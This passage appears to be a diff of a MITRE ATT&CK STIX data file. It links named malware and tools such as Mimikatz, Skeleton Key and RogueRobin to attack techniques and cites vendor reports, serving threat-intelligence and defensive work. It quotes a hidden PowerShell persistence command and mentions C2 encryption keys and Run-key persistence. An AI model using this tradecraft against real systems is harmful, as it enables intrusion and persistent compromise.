[ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) has encrypted C2 traffic with RC4, previously using keys of 88888888 and babybear.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b94e707d-b2f8-4b68-acac-44d3777dd93f", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[RTM](https://attack.mitre.org/software/S0148) can capture screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f6d23c00-158e-4e39-bf9b-f18344cd0151", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "Variants of [WEBC2](https://attack.mitre.org/software/S0109) achieve persistence by using DLL search order hijacking, usually by copying the DLL file to %SYSTEMROOT% (C:\\WINDOWS\\ntshrui.dll).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--191885b6-1282-4173-a2bd-174c30c8a1dc", + "source_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22", + "modified": "2019-01-30T15:21:42.389Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--46f7ac67-a446-4fbf-8e62-271d619e71f0", + "source_ref": "course-of-action--06160d81-62be-46e5-aa37-4b9c645ffa31", + "modified": "2019-07-25T18:56:25.984Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[SynAck](https://attack.mitre.org/software/S0242) enumerates all running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--da7fb67f-3cb2-498d-a832-f98622bc9ee2", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "modified": "2019-07-26T23:00:57.180Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[hcdLoader](https://attack.mitre.org/software/S0071) provides command-line access to the compromised system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3ada7220-b5a6-45b9-a7ca-4a26423da831", + "source_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "source_name": "Dell Lateral Movement", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "description": "[sqlmap](https://attack.mitre.org/software/S0225) can be used to automate exploitation of SQL injection vulnerabilities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--547b575e-bc3c-488a-ae38-8bf6387b33f5", + "source_ref": "tool--9a2640c2-9f43-46fe-b13f-bde881e55555", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Damele, B., Stampar, M. (n.d.). sqlmap. Retrieved March 19, 2018.", + "source_name": "sqlmap Introduction", + "url": "http://sqlmap.org/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) achieves persistence by adding itself to the HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Registry key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--284ffb1b-ad42-468e-9897-94c25024f0d4", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) collects the victim username and sends it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--6cf42ee6-a064-4d8a-99d4-8aa0f878ae2a", + "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "source_name": "ClearSky Charming Kitten Dec 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) searches for files on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--25d926a0-d2b5-473d-b27b-fb69cf763b77", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "source_name": "US-CERT Bankshot Dec 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) lists the running processes on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--54ea458f-665e-42a3-b181-8d783e9589ad", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.269Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s SEKURLSA::Pth module can impersonate a user, with only a password hash, to execute arbitrary commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--6b83bc1e-edfc-4c6a-961f-d3757ae6a234", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-04-24T23:36:42.304Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + }, + { + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "source_name": "NCSC Joint Report Public Tools", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects the victim IP address, MAC address, as well as the victim account domain name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--18f3619c-c1e1-4b2c-b582-2cb5691f02e9", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.267Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) terminates antimalware processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f5633e19-e1be-4631-b714-d88016ded128", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) copies itself to the Startup folder to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--44908b0a-993a-4339-b30f-f0f1a64c0753", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--dcf3e0d4-82a6-4af3-a0ef-6231addd6b4e", + "source_ref": "course-of-action--13cad982-35e3-4340-9095-7124b653df4b", + "modified": "2019-10-07T19:59:26.236Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "description": "[Skeleton Key](https://attack.mitre.org/software/S0007) is used to patch an enterprise domain controller authentication process with a backdoor password. It allows adversaries to bypass the standard authentication system to use a defined password for all accounts authenticating to that domain controller.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f76355cb-9aa5-403c-aae4-8faed799ac31", + "source_ref": "malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49", + "modified": "2019-05-03T16:43:36.345Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell Skeleton", + "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", + "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is capable of uploading and downloading files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5abaaa8f-19c7-448f-9e5a-66f1cbf412f9", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", + "source_name": "Unit 42 SeaDuke 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses Python for scripting to execute additional commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e2dd48c1-c960-4f6f-ad99-5b2aa7463e68", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "source_name": "synack 2016 review", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[FLIPSIDE](https://attack.mitre.org/software/S0173) is a simple proxy that creates an outbound RDP connection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--7cfafeb7-2662-4b65-8dfc-93db752f5e71", + "source_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is capable of providing Meterpreter shell access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--3ba2b8bc-1c5b-4cb3-8234-a7dc7b7552d0", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of ScriptModification modules that compress and encode scripts and payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4d8df710-e1a4-4069-afef-2e8e63ed6587", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.126Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[Helminth](https://attack.mitre.org/software/S0170) establishes persistence by creating a shortcut.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--3537c31f-bd6f-4cad-97ac-4ec3d8a9478b", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[NetTraveler](https://attack.mitre.org/software/S0033) contains a keylogger.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2be17426-9704-4913-981b-6d8fe4471147", + "source_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka \u2018Travnet\u2019). Retrieved November 12, 2014.", + "source_name": "Kaspersky NetTraveler", + "url": "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of recording keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ecde1551-bca2-4f45-8692-cbc583cf3d4f", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the ftpUpload function to use the FTPManager:uploadFile method to upload files from the target system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--785abba4-fdb4-4aad-9049-5a0c748cc965", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "modified": "2019-07-26T23:07:21.121Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect permission group information by running net group /domain or a series of other commands on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--533deac3-2f27-4256-bb11-7d68d8824d47", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "To assist in establishing persistence, [RogueRobin](https://attack.mitre.org/software/S0270) creates %APPDATA%\\OneDrive.bat and saves the following string to it:powershell.exe -WindowStyle Hidden -exec bypass -File \u201c%APPDATA%\\OneDrive.ps1\u201d. [RogueRobin](https://attack.mitre.org/software/S0270) also uses Windows Script Components.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9f19b5e4-1be8-4ed8-a2b3-e766e2987df6", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.382Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + }, + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Umbreon](https://attack.mitre.org/software/S0221) provides access to the system via SSH or any other protocol that uses PAM to authenticate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c4aec6a5-2c11-45a2-8c79-8cccf85179cb", + "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.", + "source_name": "Umbreon Trend Micro", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.030Z", + "id": "relationship--06cd0498-7ebb-41e6-9399-c43c82487540", + "source_ref": 